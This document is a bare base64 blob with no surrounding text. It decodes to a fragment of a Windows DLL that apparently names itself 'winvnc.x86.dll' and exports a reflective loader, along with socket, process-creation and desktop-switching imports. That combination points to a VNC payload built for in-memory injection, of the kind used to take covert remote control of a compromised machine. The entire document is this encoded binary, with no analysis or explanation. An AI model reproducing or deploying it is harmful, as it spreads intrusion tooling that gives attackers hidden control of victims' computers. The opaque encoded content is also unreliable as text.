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NhbCBzdGF0aWMgZ3VhcmQnAAAAAGBzdHJpbmcnAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAYHZlY3RvciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgZGVmYXVsdCBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAGB2aXJ0dWFsIGRpc3BsYWNlbWVudCBtYXAnAABgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAGBlaCB2ZWN0b3IgdmJhc2UgY29uc3RydWN0b3IgaXRlcmF0b3InAABgY29weSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAAYHVkdCByZXR1cm5pbmcnAGBFSABgUlRUSQAAAGBsb2NhbCB2ZnRhYmxlJwBgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwAgbmV3W10AACBkZWxldGVbXQAAAGBvbW5pIGNhbGxzaWcnAABgcGxhY2VtZW50IGRlbGV0ZSBjbG9zdXJlJwAAYHBsYWNlbWVudCBkZWxldGVbXSBjbG9zdXJlJwAAAABgbWFuYWdlZCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgZWggdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAGBkeW5hbWljIGluaXRpYWxpemVyIGZvciAnAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAABgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgdmVjdG9yIHZiYXNlIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQnACBUeXBlIERlc2NyaXB0b3InAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoACBCYXNlIENsYXNzIEFycmF5JwAAIENsYXNzIEhpZXJhcmNoeSBEZXNjcmlwdG9yJwAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAMSNTTkFOAAAxI0lORAAAADEjSU5GAAAAMSNRTkFOAABDAE8ATgBPAFUAVAAkAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPC6BBAQXwQQNwAAAAAAAAAAAAAAAAAAACjBBBCkVgQQAAAAAAAAAAACAAAAtFYEEMBWBBDcVgQQAAAAACjBBBABAAAAAAAAAP////8AAAAAQAAAAKRWBBBIwQQQAAAAAAAAAAD/////AAAAAEAAAAD4VgQQAAAAAAAAAAABAAAACFcEENxWBBAAAAAAAAAAAAAAAAAAAAAAZMEEECRXBBAAAAAAAAAAAAIAAAA0VwQQQFcEENxWBBAAAAAAZMEEEAEAAAAAAAAA/////wAAAABAAAAAJFcEEAAAAAAAAAAAAAAAAEjBBBD4VgQQAAAAAAAAAAAAAAAAgMEEEIRXBBAAAAAAAAAAAAIAAACUVwQQoFcEENxWBBAAAAAAgMEEEAEAAAAAAAAA/////wAAAABAAAAAhFcEEAAAAAAAAAAAAAAAAJzBBBDQVwQQAAAAAAAAAAACAAAA4FcEEOxXBBDcVgQQAAAAAJzBBBABAAAAAAAAAP////8AAAAAQAAAANBXBBAAAAAAAAAAAAAAAAC8wQQQHFgEEAAAAAAAAAAAAgAAACxYBBA4WAQQ3FYEEAAAAAC8wQQQAQAAAAAAAAD/////AAAAAEAAAAAcWAQQAAAAAAAAAAAAAAAA2MEEEGhYBBAAAAAAAAAAAAIAAAB4WAQQhFgEENxWBBAAAAAA2MEEEAEAAAAAAAAA/////wAAAABAAAAAaFgEEAAAAAAAAAAAAAAAADzCBBC0WAQQAAAAAAAAAAABAAAAxFgEEMxYBBAAAAAAPMIEEAAAAAAAAAAA/////wAAAABAAAAAtFgEEAAAAAAAAAAAAAAAAFjCBBD8WAQQAAAAAAAAAAACAAAADFkEEBhZBBDMWAQQAAAAAFjCBBABAAAAAAAAAP////8AAAAAQAAAAPxYBBAAAAAAAAAAAAAAAACEwgQQSFkEEAAAAAAAAAAAAQAAAFhZBBBgWQQQAAAAAITCBBAAAAAAAAAAAP////8AAAAAQAAAAEhZBBAAAAAAAAAAAAAAAACowgQQkFkEEAAAAAAAAAAAAQAAAKBZBBCoWQQQAAAAAKjCBBAAAAAAAAAAAP////8AAAAAQAAAAJBZBBAAAAAAAAAAAAAAAADAwgQQ2FkEEAAAAAAAAAAAAgAAAOhZBBD0WQQQzFgEEAAAAADAwgQQAQAAAAAAAAD/////AAAAAEAAAADYWQQQAAAAAAAAAAAAAAAA4MIEECRaBBAAAAAAAAAAAAIAAAA0WgQQQFoEEMxYBBAAAAAA4MIEEAEAAAAAAAAA/////wAAAABAAAAAJFoEEAAAAAAAAAAAAAAAAADDBBBwWgQQAAAAAAAAAAABAAAAgFoEEIhaBBAAAAAAAMMEEAAAAAAAAAAA/////wAAAABAAAAAcFoEEAAAAAAAAAAAAAAAACTDBBC4WgQQAAAAAAAAAAACAAAAyFoEENRaBBCIWgQQAAAAACTDBBABAAAAAAAAAP////8AAAAAQAAAALhaBBAAAAAAAAAAAAAAAABQwwQQBFsEEAAAAAAAAAAAAwAAABRbBBAkWwQQ1FoEEIhaBBAAAAAAUMMEEAIAAAAAAAAA/////wAAAABAAAAABFsEEAAAAAAAAAAAAAAAAHzDBBBUWwQQAAAAAAAAAAADAAAAZFsEEHRbBBDUWgQQiFoEEAAAAAB8wwQQAgAAAAAAAAD/////AAAAAEAAAABUWwQQAAAAAAAAAAAAAAAAqMMEEKRbBBAAAAAAAAAAAAEAAAC0WwQQvFsEEAAAAACowwQQAAAAAAAAAAD/////AAAAAEAAAACkWwQQAAAAAAAAAAAAAAAAwMMEEOxbBBAAAAAAAAAAAAEAAAD8WwQQBFwEEAAAAADAwwQQAAAAAAAAAAD/////AAAAAEAAAADsWwQQAAAAAAAAAAAAAAAA4MMEEDRcBBAAAAAAAAAAAAEAAABEXAQQTFwEEAAAAADgwwQQAAAAAAAAAAD/////AAAAAEAAAAA0XAQQAAAAAAAAAAAAAAAAAMQEEHxcBBAAAAAAAAAAAAIAAACMXAQQmFwEEMxYBBAAAAAAAMQEEAEAAAAAAAAA/////wAAAABAAAAAfFwEEAAAAAAAAAAAAAAAACTEBBDIXAQQAAAAAAAAAAABAAAA2FwEEOBcBBAAAAAAJMQEEAAAAAAAAAAA/////wAAAABAAAAAyFwEEFjEBBAAAAAAAAAAAP////8AAAAAQAAAABhdBBAAAAAAAAAAAAEAAAAoXQQQ/FwEEAAAAAAAAAAAAAAAAAAAAAA8xAQQRF0EEAAAAAAAAAAAAgAAAFRdBBBgXQQQ/FwEEAAAAAA8xAQQAQAAAAAAAAD/////AAAAAEAAAABEXQQQAAAAAAAAAAAAAAAAdMQEEJBdBBAAAAAAAAAAAAIAAACgXQQQrF0EEPxcBBAAAAAAdMQEEAEAAAAAAAAA/////wAAAABAAAAAkF0EEAAAAAAAAAAAAAAAAJTEBBDcXQQQAAAAAAAAAAADAAAA7F0EEPxdBBCsXQQQ/FwEEAAAAACUxAQQAgAAAAAAAAD/////AAAAAEAAAADcXQQQAAAAAAAAAAAAAAAAtMQEECxeBBAAAAAAAAAAAAMAAAA8XgQQTF4EEKxdBBD8XAQQAAAAALTEBBACAAAAAAAAAP////8AAAAAQAAAACxeBBAAAAAAAAAAAAAAAADUxAQQfF4EEAAAAAAAAAAAAQAAAIxeBBCUXgQQAAAAANTEBBAAAAAAAAAAAP////8AAAAAQAAAAHxeBBAAAAAAAAAAAAAAAABYxAQQGF0EEAAAAAAAAAAAAAAAAOzEBBDYXgQQAAAAAAAAAAACAAAA6F4EEPReBBD8XAQQAAAAAOzEBBABAAAAAAAAAP////8AAAAAQAAAANheBBABjAIAMowCAPiPAgCACgMA4CUDAMB6AwBGrwMAWK8DAIOvAwCbrwMAu68DANivAwA9sAMAiLADAOawAwD4sAMAILEDADuxAwBYsQMAeLEDALixAwDgsQMA+LEDACCyAwCAsgMAm7IDAMmyAwDzsgMAALMDACizAwBIswMAc7MDAJOzAwCrswMAwLMDANCzAwDgswMAA7QDADi0AwBQtAMAsbQDAA61AwA+tQMAWLUDAJa1AwDBtQMA47UDAAC2AwAYtgMAQ7YDAFi2AwB7tgMAm7YDAM62AwDYtgMAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////MK8DEP////87rwMQIgWTGQIAAAAAYAQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAP/////LGQAQ0RkAEP////9QrwMQIgWTGQEAAABEYAQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////9CvAxAiBZMZAQAAAHBgBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////kK8DECIFkxkBAAAAnGAEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+wrwMQIgWTGQEAAADIYAQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////3CvAxAAAAAAeK8DECIFkxkCAAAA9GAEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAADhhBBABAAAAQGEEEAAAAAD4wQQQAAAAAP////8AAAAABAAAAAAAAAAAAAAAAAAAAAAAAABsYQQQAQAAAHRhBBAAAAAAGMIEEAAAAAD/////AAAAAAEAAAAAAAAAIgWTGQcAAAC0YQQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA//////CvAxD/////+68DEP////8GsAMQ/////xGwAxD/////HLADEP////8nsAMQ/////zKwAxD/////ULADEAAAAABesAMQAQAAAGywAxACAAAAerADECIFkxkEAAAA7GEEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACIFkxkFAAAAVGIEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+gsAMQAAAAAK6wAxABAAAAvLADEAIAAADKsAMQAwAAANiwAxD/////MLEDECIFkxkBAAAAfGIEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP/////QsQMQ/////9ixAxAiBZMZAgAAAKhiBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////8LEDECIFkxkBAAAA3GIEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////8QsgMQAAAAABiyAxAiBZMZAgAAAAhjBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAABAAAAAAAAAAAAAAAC81AEQAAAAAAUAAAAGAAAAAQAAADxjBBAiBZMZBwAAAIRjBBABAAAATGMEEAAAAAAAAAAAAAAAAAEAAAD/////AAAAAAAAAACQsQMQAQAAAJixAxACAAAAoLEDEAMAAACosQMQAwAAALCxAxD/////AAAAAP////9wsQMQIgWTGQEAAAC8YwQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////1CxAxAiBZMZAQAAAOhjBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////ELEDEAAAAAAYsQMQIgWTGQIAAAAUZAQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAIgWTGQoAAABsZAQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////zCyAxD/////OLIDEP////9AsgMQ/////0iyAxD/////ULIDEP////9YsgMQ/////2CyAxAGAAAAaLIDEAYAAAB4sgMQBgAAAHCyAxD/////8LADECIFkxkBAAAAvGQEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAEAAAAAAAAAAAAAAAJsmAhBAAAAAAAAAAAAAAADYJgIQ/////wAAAAD/////AAAAAAEAAAAAAAAAAQAAAAAAAAAiBZMZBAAAAAhlBBACAAAATGUEEAAAAAAAAAAAAAAAAAEAAAACAAAAAgAAAAMAAAABAAAA+GQEEAAAAAAAAAAAAwAAAAEAAADoZAQQ/////5CyAxAiBZMZAQAAAHRlBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////sLIDEAAAAAC7sgMQIgWTGQIAAACgZQQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////2CzAxAAAAAAa7MDECIFkxkCAAAA1GUEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9AswMQIgWTGQEAAAAIZgQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAQAAAAAAAAAAAAAAAgwMCEAAAAAADAAAABAAAAAEAAAA0ZgQQIgWTGQUAAAB8ZgQQAQAAAERmBBAAAAAAAAAAAAAAAAABAAAA/////wAAAAAAAAAAELMDEAEAAAAYswMQAgAAACCzAxD/////AAAAAEAAAAAAAAAAAAAAAHT/ARD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAKRmBBAiBZMZAgAAALRmBBABAAAAxGYEEAAAAAAAAAAAAAAAAAEAAAD/////oLMDECIFkxkBAAAA/GYEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+AswMQ/////4uzAxAiBZMZAgAAAChnBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////4LIDEAAAAADosgMQIgWTGQIAAABcZwQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA//////CzAxAAAAAA+LMDECIFkxkCAAAAkGcEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACIFkxkFAAAA6GcEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////8QtAMQAAAAABi0AxABAAAAILQDEAIAAAAotAMQAwAAADC0AxBAAAAAAAAAAAAAAADDMwIQ/////wAAAAD/////AAAAAAAAAAAAAAAAAQAAAAEAAAAQaAQQIgWTGQIAAAAgaAQQAQAAADBoBBAAAAAAAAAAAAAAAAABAAAAQAAAAAAAAAAAAAAA5TQCEP////8AAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAaGgEECIFkxkCAAAAeGgEEAEAAACIaAQQAAAAAAAAAAAAAAAAAQAAACIFkxkGAAAA5GgEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9gtAMQAAAAAG60AxABAAAAfLQDEAIAAACKtAMQAwAAAJi0AxAEAAAAprQDECIFkxkGAAAAOGkEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP/////AtAMQAAAAAM60AxABAAAA3LQDEAIAAADqtAMQAwAAAPi0AxAEAAAABrUDEP////8gtQMQAAAAACi1AxAAAAAAM7UDECIFkxkDAAAAaGkEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////9wtQMQAAAAAHi1AxABAAAAgLUDEAEAAACLtQMQIgWTGQQAAACkaQQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////6C1AxAAAAAAubUDECIFkxkCAAAA6GkEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP/////wtQMQAAAAAPi1AxAiBZMZAgAAABxqBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////ULUDECIFkxkBAAAAUGoEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////8wtgMQ/////zu2AxAiBZMZAgAAAHxqBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////0LUDEAAAAADYtQMQIgWTGQIAAACwagQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////1C2AxAiBZMZAQAAAORqBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////ELYDECIFkxkBAAAAEGsEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAEAAAAAAAAAAAAAAALREAhD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAADxrBBAiBZMZAgAAAExrBBABAAAAXGsEEAAAAAAAAAAAAAAAAAEAAAD/////cLYDECIFkxkBAAAAlGsEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+QtgMQIgWTGQEAAADAawQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////7C2AxAAAAAAuLYDEAAAAADDtgMQIgWTGQMAAADsawQQAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAL+DAhAAAAAAOGwEEAIAAABEbAQQYGwEEBAAAAA8xAQQAAAAAP////8AAAAADAAAAFODAhAAAAAAWMQEEAAAAAD/////AAAAAAwAAAAL0gIQAAAAAHTEBBAAAAAA/////wAAAAAMAAAAiYMCEAAAAADKgwIQAAAAAKhsBBADAAAAuGwEEHxsBBBgbAQQAAAAAJTEBBAAAAAA/////wAAAAAMAAAAboMCEAAAAADKgwIQAAAAAORsBBADAAAA9GwEEHxsBBBgbAQQAAAAALTEBBAAAAAA/////wAAAAAMAAAApIMCEP7///8AAAAAxP///wAAAAD+////AAAAAE2cAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAIZ8CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAADeoQIQAAAAAP7///8AAAAA1P///wAAAAD+////bqMCEIKjAhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAzKYCEAAAAAAAAAAAlqYCEP7///8AAAAA1P///wAAAAD+////AAAAAFeoAhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAS88CEAAAAAD+////AAAAANT///8AAAAA/v///+PQAhD90AIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAAvYAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAs9sCEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAAu3QIQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAACbhAhD+////AAAAADLhAhD+////AAAAANj///8AAAAA/v///wAAAACW4gIQ/v///wAAAACl4gIQ/v///wAAAADY////AAAAAP7///8AAAAAiuMCEAAAAAD+////AAAAANj///8AAAAA/v///4v6AhCn+gIQAAAAAP7///8AAAAA2P///wAAAAD+////JPwCECj8AhAAAAAA/v///wAAAADY////AAAAAP7////w+wIQ9PsCEAAAAAD+////AAAAAND///8AAAAA/v///wAAAADACAMQAAAAAIUIAxCPCAMQ/v///wAAAACw////AAAAAP7///8AAAAAc/4CEAAAAADH/QIQ0f0CEP7///8AAAAA2P///wAAAAD+////5wUDEOsFAxAAAAAA/v///wAAAADY////AAAAAP7///+8/AIQxfwCEEAAAAAAAAAAAAAAACD/AhD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAANRvBBAiBZMZAgAAAORvBBABAAAA9G8EEAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADU////AAAAAP7///+iBwMQpgcDEAAAAAAC/QIQAAAAAFxwBBACAAAAaHAEEGBsBBAAAAAA7MQEEAAAAAD/////AAAAAAwAAADn/AIQAAAAAP7///8AAAAAqP///wAAAAD+////Rw4DEFoOAxAAAAAA/v///wAAAADY////AAAAAP7///8AAAAA1hwDEAAAAAD+////AAAAANj///8AAAAA/v///7khAxDMIQMQAAAAAP7///8AAAAAvP///wAAAAD+////AAAAAPYkAxAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA3CgDEAAAAAD+////AAAAAHz///8AAAAA/v///wAAAAC3KwMQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAABQtAxAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAiS8DEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABxMAMQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAAs7AxAAAAAA/v///wAAAADI////AAAAAP7///8AAAAAOWwDEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABXfAMQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAOd8AxAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA5KkDEAAAAAAAAAAAAAAAAAAAAADTF5tYAAAAAIJyBAABAAAAAQAAAAEAAAB4cgQAfHIEAIByBADgEgAAkXIEAAAAd2ludm5jLng4Ni5kbGwAP1JlZmxlY3RpdmVMb2FkZXJAQFlHS1BBWEBaAAAAAFR2BAAAAAAAAAAAAIp2BAAswwMAqHMEAAAAAAAAAAAA8HkEAIDAAwBEdQQAAAAAAAAAAACYfgQAHMIDAEhzBAAAAAAAAAAAACCABAAgwAMAKHMEAAAAAAAAAAAApoAEAADAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAHyABABqgAQAWIAEAEiABAA6gAQAKoAEAIyABAAAAAAA0n4EAMR+BAC0fgQApH4EAIh/BACafwQA7H4EALp/BADOfwQA2n8EAOh/BAD4fwQAEIAEAPh+BAAEfwQAEH8EABp/BAA0fwQASn8EAFp/BACqfwQAdn8EAGp/BAAAAAAABHgEABx4BAA0eAQASHgEAFp4BABqeAQAdngEAIR4BACSeAQApngEALx4BADOeAQA3ngEAOp4BAD4eAQAEnkEACZ5BAA0eQQARnkEAFZ5BABqeQQAeHkEAIZ5BACWeQQAqnkEAMJ5BADUeQQA5HkEAKaDBACMgwQAdoMEAGaDBABagwQASIMEADiDBAAkgwQAGIMEAAqDBADsdwQA9oIEAOSCBADaggQAxoIEAJ6CBACAggQAZIIEAFSCBAA+ggQALoIEAByCBAAMggQAAIIEAPSBBADqgQQA2IEEAMSBBACygQQAoIEEAI6BBAB+gQQAYoEEAEiBBAAygQQAHIEEAAaBBAD4gAQA6IAEANiABADMgAQAwIAEAMCDBAC0gAQA2oMEANB3BADAdwQArHcEAJZ3BACCdwQAbncEAFx3BABOdwQAPHcEACx3BAAcdwQADncEAAJ3BAD6dgQA5HYEANR2BADEdgQAtnYEAKR2BACWdgQA7IMEAP6DBAAOhAQAJIQEADiEBABGhAQAVoQEAGaEBACAhAQAAAAAAIp+BAB6fgQAaH4EAFp+BABGfgQALn4EABR+BAAGfgQA+H0EAOh9BADafQQAyH0EALZ9BACqfQQAmH0EAIp9BAB+fQQAcn0EAFx9BABEfQQAMn0EAB59BAAKfQQA8nwEANx8BADIfAQAtnwEAKZ8BACUfAQAhHwEAHJ8BABefAQATHwEADp8BAAsfAQAHHwEAAx8BAD8ewQA6HsEAM57BAC4ewQAqHsEAJR7BACGewQAdnsEAGZ7BABWewQAQnsEADR7BAAmewQAEnsEAPp6BADmegQA1noEAMp6BADCegQAuHoEAKp6BACcegQAjHoEAHB6BABWegQAPHoEACZ6BAASegQA/nkEAFB9BAAAAAAAEAAAgBIAAIB8dgQAbwAAgHMAAICXAACAFwAAgBUAAIATAACAAAAAAFIAV1NBU29ja2V0QQAAV1MyXzMyLmRsbAAAYgFGcmVlTGlicmFyeQBFAkdldFByb2NBZGRyZXNzAAAaAUV4aXRUaHJlYWQAAAICR2V0TGFzdEVycm9yAAD6A1JlbGVhc2VNdXRleAAA+QRXYWl0Rm9yU2luZ2xlT2JqZWN0ALIEU2xlZXAAJQVXcml0ZUZpbGUAUgBDbG9zZUhhbmRsZQCbAENyZWF0ZU11dGV4QQAAPANMb2FkTGlicmFyeUEAAKQAQ3JlYXRlUHJvY2Vzc0EAAIgAQ3JlYXRlRmlsZUEA/wRXYWl0TmFtZWRQaXBlQQAAwAFHZXRDdXJyZW50UHJvY2VzcwDEAUdldEN1cnJlbnRUaHJlYWQAAMUBR2V0Q3VycmVudFRocmVhZElkAACZBFNldFRocmVhZFByaW9yaXR5ABMEUmVzdW1lVGhyZWFkAADiAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb24A7gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAOQNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24A/gNSZWxlYXNlU2VtYXBob3JlAADoAER1cGxpY2F0ZUhhbmRsZQB3AkdldFN5c3RlbVRpbWUAxQRUbHNBbGxvYwAAxwRUbHNHZXRWYWx1ZQDIBFRsc1NldFZhbHVlAKsAQ3JlYXRlU2VtYXBob3JlQQAAwQFHZXRDdXJyZW50UHJvY2Vzc0lkANYEVW5tYXBWaWV3T2ZGaWxlAFgEU2V0RXJyb3JNb2RlAAAuAUZpbmRDbG9zZQBqBFNldEZpbGVUaW1lAAcCR2V0TG9naWNhbERyaXZlU3RyaW5nc0EAfABDcmVhdGVEaXJlY3RvcnlBAADTAERlbGV0ZUZpbGVBADIBRmluZEZpcnN0RmlsZUEAAEMBRmluZE5leHRGaWxlQQCMAUdldENvbXB1dGVyTmFtZUEAALMCR2xvYmFsQWxsb2MAvgJHbG9iYWxMb2NrAADFAkdsb2JhbFVubG9jawAAtQJHbG9iYWxEZWxldGVBdG9tAAC9BFN5c3RlbVRpbWVUb0ZpbGVUaW1lAACxAkdsb2JhbEFkZEF0b21BAACjAkdldFZlcnNpb25FeEEAWQRTZXRFdmVudAAAS0VSTkVMMzIuZGxsAAAqAk9wZW5JbnB1dERlc2t0b3AAALoCU2V0VGhyZWFkRGVza3RvcAA